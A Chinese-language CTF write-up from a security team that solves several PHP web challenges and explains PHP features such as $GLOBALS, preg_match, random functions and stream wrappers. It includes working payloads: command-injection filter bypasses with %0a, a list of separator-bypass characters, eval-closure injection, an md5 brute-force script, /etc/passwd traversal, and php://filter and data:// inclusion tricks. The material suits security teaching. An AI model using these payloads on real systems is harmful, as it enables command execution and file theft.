声明:Tide安全团队原创文章,转载请声明出处!文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担!
访问页面,查看源码
<?php
if(isset($_REQUEST[ 'ip' ])) {
$target = trim($_REQUEST[ 'ip' ]);
$substitutions = array(
'&' => '',
';' => '',
'|' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
$cmd = shell_exec( 'ping -c 4 ' . $target );
echo $target;
echo "<pre>{$cmd}</pre>";
}
show_source(__FILE__);
?>
观察代码,发现主要获取的用户输入的IP参数,然后进行ping命令操作。
而且其中过滤很多管道符,不过依然可以使用%0als进行绕过。
payload:
?ip=127.0.0.1%0als
可以查看到flag.php位置,在使用cat命令读取flag.php文件内容。payload:
?ip=127.0.0.1%0acat flag.php
trim() 函数移除字符串两侧的空白字符或其他预定义字符。
一般是用来去除字符串首尾处的空白字符(或者其他字符),一般在用在服务端对接收的用户数据进行处理,以免把用户误输入的空格存储到数据库,下次对比数据时候出错。
1、%0a符号:换行符
2、%0d符号:回车符
3、< 号
4、%09符号
5、$IFS$9(数字无限制)符号
6、${IFS}符号
7、,号
8、<>号
9、$IFS符号
10、以及过滤掉的内容
题目内容:
<?php
require __DIR__.'/flag.php';
if (isset($_POST['answer'])){
$number = $_POST['answer'];
if (noother_says_correct($number)){
echo $flag;
} else {
echo "Sorry";
}
}function noother_says_correct($number)
{
$one = ord('1');
$nine = ord('9');
# Check all the input characters!
for ($i = 0; $i < strlen($number); $i++)
{
# Disallow all the digits!
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
# Aha, digit not allowed!
return false;
}
}
# Allow the magic number ...
return $number == "3735929054";
}highlight_file(__FILE__);
?>
观察题目,发现题目并不复杂。
发现其中:
for ($i = 0; $i < strlen($number); $i++)
{
# Disallow all the digits!
$digit = ord($number{$i});
if ( ($digit >= $one) && ($digit <= $nine) )
{
# Aha, digit not allowed!
return false;
}
}
发现要求传入的每一个值都不能大于等于1小于等于9
如果满足条件,则进行判断
$number == "3735929054";
传入的值需与3735929054一致,看到这里,我们应该就会想到PHP弱类型比较
我们查看一下3735929054的其他进制内容
发现
>>> hex(3735929054)
'0xdeadc0de'
十六进制的3735929054,只包含字母与0,满足条件
所以
"0xdeadc0de" == "3735929054"
payload:
POST: answer=0xdeadc0de
ord() 函数:返回字符串的首个字符的 ASCII 值。
查看题目
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
if(!preg_match('/^\w*$/',$a )){
die('ERROR');
}
eval("var_dump($$a);");
show_source(__FILE__);
?>
发现使用了
preg_match('/^\w*$/',$a )
进行正则匹配,要求hello的输入必须为数字和字母的组合。
继续查看下方,发现存在eval()函数,查看是否可以进行闭合var_dump(),造成命令执行。
查看发现过滤了符号,无法闭合,所以不能通过闭合var_dump()造成命令执行。
不过,发现var_dump()中存在$$a,可以输出对应的变量值,但前提是需要知道flag的变量名,如果不知道,爆破也不知道从哪里开始。
不过PHP中还存在一个特殊的变量,引用全局作用域中可用的全部变量:
$GLOBALS #(具体方法解释可向下方查看)
所以构造payload:
?hello=GLOBALS
当然使用POST进行传输也可以,主要的关键就是
var_dump($GLOBALS)
会遍历所有可以遍历的内容,有兴趣的可以自己试一试,就比如
preg_match 函数用于执行一个正则表达式匹配。
语法
int preg_match ( string $pattern , string $subject [, array &$matches [, int $flags = 0 [, int $offset = 0 ]]] )
返回值:返回 pattern 的匹配次数。它的值将是 0 次(不匹配)或 1 次,因为 preg_match() 在第一次匹配后 将会停止搜索。preg_match_all() 不同于此,它会一直搜索subject 直到到达结尾。如果发生错误preg_match()返回 FALSE。
参数说明:
参数说明:
$pattern: 要搜索的模式,字符串形式。$subject: 输入字符串。
$matches: 如果提供了参数matches,它将被填充为搜索结果。$matches[0]将包含完整模式匹配到的文本, $matches[1] 将包含第一个捕获子组匹配到的文本,以此类推。
$flags:flags 可以被设置为以下标记值:
PREG_OFFSET_CAPTURE: 如果传递了这个标记,对于每一个出现的匹配返回时会附加字符串偏移量(相对于目标字符串的)。
注意:这会改变填充到matches参数的数组,使其每个元素成为一个由 第0个元素是匹配到的字符串,第1个元素是该匹配字符串 在目标字符串subject中的偏移量。
offset: 通常,搜索从目标字符串的开始位置开始。可选参数 offset 用于 指定从目标字符串的某个
位置开始搜索(单位是字节)。
举个例子,比如:
查找文本字符串”php”:
<?php
//模式分隔符后的"i"标记这是一个大小写不敏感的搜索
if (preg_match("/php/i", "PHP is the web scripting language of choice.")) {
echo "查找到匹配的字符串 php。";
} else {
echo "未发现匹配的字符串 php。";
}
?>
执行结果如下所示:
查找到匹配的字符串 php。
PHP中,$_REQUEST可以获取POST方法和GET方法提交的数据,但是传输的速度相对较慢。
2、$_GET
$_GET用来获取由浏览器通过$_GET方法提交的数据。$_GET方法就是通过把参数数据加在提交表单的action属性所指的URL中,值和表单内的每个字段一一对应,并且在URL中可以看到,但是同样也存在问题:
安全性差,在URL中可以体现
传输数据量较小,不能大于2KB。
$_POST
$_POST用来获取由浏览器通过POST方法提交的数据。$_POST方法是通过HTTP POST机制,将表单的各个字段放置在HTTP HEADER内一起传送到action属性所指的URL中,用户看不到此过程。提交的大小一般来说不受限制,但是具体根据服务器的不同,略有不同,比如PHP版本5.512,默认POST最大值为3M,有的则为8M,IIS6默认最大则为200K。
相对于$_GET方法安全性稍高。
3、三者之间的区别和联系
$_REQUEST["参数"]具用$_POST["参数"], $_GET["参数"]的功能,但是$_REQUEST["参数"]比较慢。通过$_POST和$_GET方法提交的所有数据都可以通过$_REQUEST数组["参数"]获得。
PHP中有一个鲜为人知的超全局变量$GLOBALS。
$GLOBALS定义:引用全局作用域中可用的全部变量(一个包含了全部变量的组合数组。变量的名字就是数组的键),与所有其他超全局变量不同,$GLOBALS在PHP代码中的任何地方都是可用的,可以通过打印$GLOBALS变量查看结果验证。
在PHP生命周期中,定义在函数体外部的全局变量,函数内部是不能直接获得的。如果要在函数体内访问外部定义的全局变量,可以通过global声明或者直接使用$GLOBALS来进行访问。
比如:
<?php
$var1='www.tidesec.com';
$var2='www.tidesec.net';
test();
function test(){
$var1='tide';
echo $var1,'<br />';
global $var1;
echo $var1,'<br />';
echo $GLOBALS['var2'];
}
输出结果为:
tide
www.tidesec.com
www.tidesec.net
其中global和$GLOBALS的区别:
$GLOBALS['var']是外部全局变量的本身,而global $var则是外部$var的同名引用或者说是指针,也就是说global函数产生一个指向函数外部变量的别名变量,而不是真正的函数外部变量,而$GLOBALS[]确确实实调用的是外部的变量,函数内外都会始终保持一致。
举个例子:
$var1=tide;
$var2=tidesec;
function test(){
$GLOBALS['var2']=&$GLOBALS['var1'];
}
test();
echo $var2;
结果为:
tide
$var1=tide;
$var2=tidesec;
function test(){
global $var1,$var2;
$var2=&$var1;
}
test();
echo $var2;
结果为:
tidesec
结果之所以为tidesec,原因为$var1的引用指向了$var2的引用地址。导致实质的值没有发生变化。
$var1=tide;
function test(){
global $var1;
unset($var1);
}
test();
echo $var1;
结果为:
tide
这就说明,删除的只是别名或者说是引用,其本身作用的值没有受到任何的影响。也就是说,global $var其实是$var = &$GLOBALS['var'],调用外部变量的一个别名而已。
访问页面,获得逻辑源码
<?php
include "flag.php";
$a = @$_REQUEST['hello'];
eval( "var_dump($a);");
show_source(__FILE__);
观察题目,发现其中没有什么特别需要注意的地方,直接输出了$a,也就是hello参数的值,而且题目显示flag也不在变量中,也无法使用上一题学习到的$GLOBALS超全局变量进行遍历,也没有过滤。
所以之只能考虑闭合var_dump($a)函数并构造其他的语句进行执行,并且因为flag在flag.php中,所以我们考虑直接打印flag.php内容。
构造payload:
?hello=);var_dump(file("flag.php"));//
构造出
var_dump();var_dump(file("flag.php"));//);
成功读取到flag.php文件内容。
访问页面,查看源码信息。
<?php
error_reporting(0);
session_start();
require('./flag.php');
if(!isset($_SESSION['nums'])){
$_SESSION['nums'] = 0;
$_SESSION['time'] = time();
$_SESSION['whoami'] = 'ea';
}if($_SESSION['time']+120<time()){
session_destroy();
}$value = $_REQUEST['value'];
$str_rand = range('a', 'z');
$str_rands = $str_rand[mt_rand(0,25)].$str_rand[mt_rand(0,25)];if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
$_SESSION['nums']++;
$_SESSION['whoami'] = $str_rands;
echo $str_rands;
}if($_SESSION['nums']>=10){
echo $flag;
}show_source(__FILE__);
?>
观察代码,发现主要限制在于
if($_SESSION['whoami']==($value[0].$value[1]) && substr(md5($value),5,4)==0){
$_SESSION['nums']++;
$_SESSION['whoami'] = $str_rands;
echo $str_rands;
}
其中参数whoami要满足两个条件,一个是满足whoami输入的值与产生的随机值相等,另一个条件就是要满足md5($value)从第五位取,取四位,能够==0,其中后一个条件其实可以通过PHP的弱比较来进行利用,也就是说,只要保证第五位值为字母,就可以满足(md5($value),5,4) == 0。
另外需要满足的条件就是
if($_SESSION['nums']>=10){
echo $flag;
}
需要在120秒内,连续访问10次,条件都满足的情况下,可以得到flag。
作者给出了相关的脚本进行破解
import requests
import hashlib
import randomdef get_value(given):
global dict_az
for i in range(1000000):
result = given
result += random.choice(dict_az)
result += random.choice(dict_az)
result += random.choice(dict_az)
result += random.choice(dict_az)
result += random.choice(dict_az)
result += random.choice(dict_az)
m = hashlib.md5(result)
m = m.hexdigest()
if m[5:9] == "0000":
print "success"
return result
else:
passdef main(url_s):
session = requests.Session()
result = "ea"
for i in range(10):
url = url_s
resp = session.get(url+result)
the_page = resp.text
result = get_value(the_page[0:2])
print "nums = %d" % i
print the_pageif __name__ == "__main__":
dict_az = "abcdefghijklmnopqrstuvwxyz"
url = "http://IP:PORT/challenge13.php?value="
main(url)
其实可以看到,破解脚本中采用的是绝对的选择,也就是说,除第一次请求外,每次请求都会回显产生的随机数,然后在其后面进行拼接,拼接6个。在脚本中需要满足的条件是产生的6位内容需要满足
m[5:9] == "0000"
经过测试发现,拼接的内容可以4位,不必6位,原因就是使用弱比较,当然,这个地方的判断条件是绝对满足的,所以扩大拼接位数,可以更容易的满足条件。
result += random.choice(dict_az)
其实,除了第一次传输的whoami为ea,后面需要传输的值都是前一次传输返回生成的随机值,使用返回生成的随机值+字母(第3位)+任意值(第4-6位)就可以满足,如果手速够快,获取也可以(手动滑稽)
mt_srand() 播种 Mersenne Twister 随机数生成器。
注释:自 PHP 4.2.0 起,不再需要用 srand() 或 mt_srand() 函数给随机数发生器播种,现已自动完成。
PHP随机函数主要有rand、mt_rand、array_rand,还有随机”排列”(打乱顺序)的函数shuffle、str_shuffle,以及能够产生唯一ID的uniqid。
1、rand()
rand()函数返回随机整数。
如果没有提供可选参数 min 和 max,rand() 返回 0 到 RAND_MAX 之间的伪随机整数。例如,想要 5 到 15(包括 5 和 15)之间的随机数,用 rand(5, 15)。
rand()函数是使用libc的随机数发生器生成随机数的,一般较慢,且有不确定因素。
其中getrandmax()函数可以返回rand函数能够产生的最大的随机数,在设置rand()函数第二个参数时可以设置为getrandmax()的返回值。
比如:
<?php
$base = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$count = strlen($base);
$random = '';
for ($i=0; $i < 16; $i++) {
$random.=$base[rand(0,$count-1)];
}
echo $random;
echo "<br/>";
echo getrandmax();
?>
2、mt_rand()函数
mt_rand() 使用 Mersenne Twister 算法返回随机整数。
如果没有提供可选参数 min 和 max,mt_rand() 返回 0 到 RAND_MAX 之间的伪随机数。例如想要 5 到 15(包括 5 和 15)之间的随机数,用 mt_rand(5, 15)。
很多老的 libc 的随机数发生器具有一些不确定和未知的特性而且很慢。PHP 的 rand() 函数默认使用 libc 随机数发生器。mt_rand() 函数是非正式用来替换它的。该函数用了 Mersenne Twister 中已知的特性作为随机数发生器,它可以产生随机数值的平均速度比 libc 提供的 rand() 快四倍。
注释:自 PHP 4.2.0 起,不再需要用 srand() 或 mt_srand() 函数给随机数发生器播种,现在已自动完成。
比如:
<?php
echo(mt_rand());
echo(mt_rand());
echo(mt_rand(10,100));
?>
3、array_rand()函数
array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
array_rand() 函数从数组中随机选出一个或多个元素,并返回。
第二个参数用来确定要选出几个元素。如果选出的元素不止一个,则返回包含随机键名的数组,否则返回该元素的键名。
比如:
<?php
$a=array("red","green","blue","yellow","brown");
$random_keys=array_rand($a,3);
echo $a[$random_keys[0]]."<br>";
echo $a[$random_keys[1]]."<br>";
echo $a[$random_keys[2]];
?>
4、shuffle()函数
shuffle() 函数把数组中的元素按随机顺序重新排列。
该函数为数组中的元素分配新的键名。已有键名将被删除。
比如:
<?php
$my_array = array("red","green","blue","yellow","purple");shuffle($my_array);
print_r($my_array);
?>
5、str_shuffle()函数
str_shuffle() 函数随机打乱字符串中的所有字符。
比如
<?php
echo str_shuffle("I love Shanghai");
?>
str_shuffle()函数功能上与shuffle()函数功能类似,唯一不同的是返回值,str_shuffle的原字符串是不变的。
6、uniqid()函数
uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID。
语法:
uniqid(prefix,more_entropy)
如果 prefix 参数为空,则返回的字符串有 13 个字符串长。如果 more_entropy 参数设置为 true,则是 23 个字符串长。
如果 more_entropy 参数设置为 true,则在返回值的末尾添加额外的熵(使用组合线形同余数生成程序),这样可以结果的唯一性更好。
返回值:以字符串的形式返回唯一标识符。
注释:由于基于系统时间,通过该函数生成的 ID 不是最佳的。如需生成绝对唯一的 ID,请使用 md5() 函数。
如果单独使用uniqid()方法,不带任何参数的话,这个方法只能保证单个进程,在同一个毫秒内是唯一的。如果使用uniqid(“”,true),带了一个墒值,自身已经有一个随机的方法能保证生成的id的随机性。但是由于线性同余是比较简单的生成随机数的算法,随机性有可能还不够。所以大多数采用的方法为:
nuiqid(mt_rand(), true)
其中mt_rand()生成随机数是采用Mersenne Twister Random Number Generator (梅森旋转算法)而不是线性同余的方法生成。
这样的话就由两种随机算法和时间戳生成,能够在很大程度上保证唯一性,这种方法给出的id会有一个点号,而且长度并不是128bit。
不过,nuiqid()函数基于微秒级当前时间戳,在高并发或者时间间隔极短(如循环代码)的情况下,会出下大量的重复数据。
所以官方推荐使用md5进行结合。
md5(uniqid(mt_rand(), true))
md5(uniqid(md5(microtime(true)),true))
其中microtime() 函数返回当前 Unix 时间戳的微秒数。
不过需要注意的是,因为mt_rand()随机数的安全问题已经出现了很多,简单来说造成的原因就是mt_rand()函数并不是一个真随机数生成函数,实际上绝大部分编程语言中的随机数函数生成都是伪随机数。
伪随机数是由可确定的函数(常用线性同余),通过一个种子(常用时钟),产生的伪随机数。这意味着,如果知道了种子,或者已经产生的随机数,都可能获得接下来随机数序列的信息(可预测性)。
简单的来说明一下,mt_rand()内部生成随机数的函数为:
rand = seed + (i * 10)
其中seed是随机数种子,i是第几次调用这个随机数函数。如果我们同时知道i和rand两个值的时候,就能很容易的算出seed的值来。比如rand = 21,i = 2带入函数,21 = seed + (2 * 10)得到seed = 1。也就是说,当拿到seed之后,就能计算出当i为任意值时rand的值。
之所以说会有很多的不安全性,也不只函数本身,函数本事并没有问题,而且官方也明确提示了生成的随机数不应用与安全加密用途。那所产生的不安全性来自于哪里,其实来自于开发者本身,当开发者为认识到这并不是一个真随机数时,就会出现安全问题。
刚刚所说,通过已知的随机数序列可以爆破出种子,也就是说,只要任意页面中存在随机数或者其衍生值(可逆推随机值),那么其他任意页面的随机数将不再是”随机数”。
常见的输出随机数的例子比如验证码,随机文件名等。
常见的随机数用于安全验证的比如找回密码校验值,比如加密key等。
来幻想一下…当apache(nginx)回收所有PHP进程(确保下次访问会重新播种),访问一次验证码页面,根据验证码字符逆推出随机数,再根据随机数爆破出随机数种子。然后访问找回密码页面,生成的找回密码链接是基于随机数的,然后就可以计算出这个链接,找回管理员用户密码…虽然是幻想,但要是有一天实现了呢
访问页面,观察逻辑代码
<?php
show_source(__FILE__);
if(isset($_REQUEST['path'])){
include($_REQUEST['path']);
}else{
include('phpinfo.php');
}
发现代码中include直接进行拼接$_REQUEST['path'],没有进行任何的过滤,判断为文件包含。
进行尝试,访问/etc/passwd查看是否可以访问
?path=../../../../etc/passwd
发现可以读取。
但是发现无法获取flag文件的位置以及文件名
这时候想到phpinfo信息中,包含有php配置,其中allow_url_include如果为on的话,我们就可以使用PHP伪协议进行访问,查找配置,发现allow_url_include为on,所以使用php://filter来读取目标文件。
构造payload:
?path=php://filter/convert.base64-encode/resource=flag.php
得到base64加密后的flag结果,进行base64解密得到。
其中涉及到文件包含的函数有:
include
require
include_once
require_once
highlight_file
show_source
readfile
file_get_contents
fopen
file
要满足PHP伪协议,基于函数include和include_once()的利用情况。
另外就是PHP.ini环境问题:
allow_url_fopen: On 默认开启,选项为On时,激活了URL形式的fopen封装协议,就可以访问URL对象文件
allow_url_include: Off 默认关闭,选项为On时,允许包含URL对象文件。
是否需要截断:PHP版本<=5.2可以使用%00进行截断。
比如:
http://127.0.0.1/test.php?file=file:///d:/test/test/flag.txt%00<?php
include($_GET['file'].’.php’)
?>
常用协议:
file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流
利用条件:
1、协议:file://
利用条件:allow_url_fopen和allow_url_include双Off情况下可正常使用
说明:访问本地文件系统
用法:file://文件绝对路径和文件名
2、协议:php://
利用条件:不需要开启allow_url_fopen(仅php://input,php://stdin,php://memory和php://temp需要allow_url_include=On)
说明:访问IO流
用法:php://input 可以访问请求的原始数据的只读流,将post请求中的数据作为php代码执行。
3、协议:zip://,bzip2://,zlib://
利用条件:双Off条件下可使用
说明:zip://test.zip#x.txt zip://绝对路径#子文件名
x.txt内容就会以php代码执行
compress.bzip2://test.bz2和compress.zlib://test.gz用法相同
/include.php?file=compress.bzip2://绝对路径/shell.jpg 或者 compress.bzip2://./shell.jpg
用法:可以访问压缩文件中的子文件,更重要的是不需要指定后缀名
4、协议:data://
利用条件:双On
说明:
/include.php?file=data://text/plain,<?php phpinfo();?>
或者 data://text/plain;base64,PD9waHAgcGhwaW5mbygpPw4=
或者 data:text/plain,<?php phpinfo();?>
或者 data:text/plain;base64,PD9waHAgcGhwaW5mbygpPw4=
同样以string可写入php代码,并执行
总结一下,其中仅php://input、php://stdin、php://memory、php://temp需要开启allow_url_include,其中php://访问各个输入/输出流(I/O streams),php://filter用于读取源码,php://input用于执行php代码。
php://input可以访问请求的原始数据的只读流,将post请求中的数据作为php代码执行。
zip://, bzip2://, zlib:// 均属于压缩流,可以访问压缩文件中的子文件,而且不需要指定后缀名。
其中需要注意的是,php://filter读取源代码需要使用base64编码输出,不然会当作php代码直接执行。
E
N
D
guān
关
zhù
注
wǒ
我
men
们
Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。
对安全感兴趣的小伙伴可以关注团队官网: http://www.TideSec.com 或长按二维码关注公众号: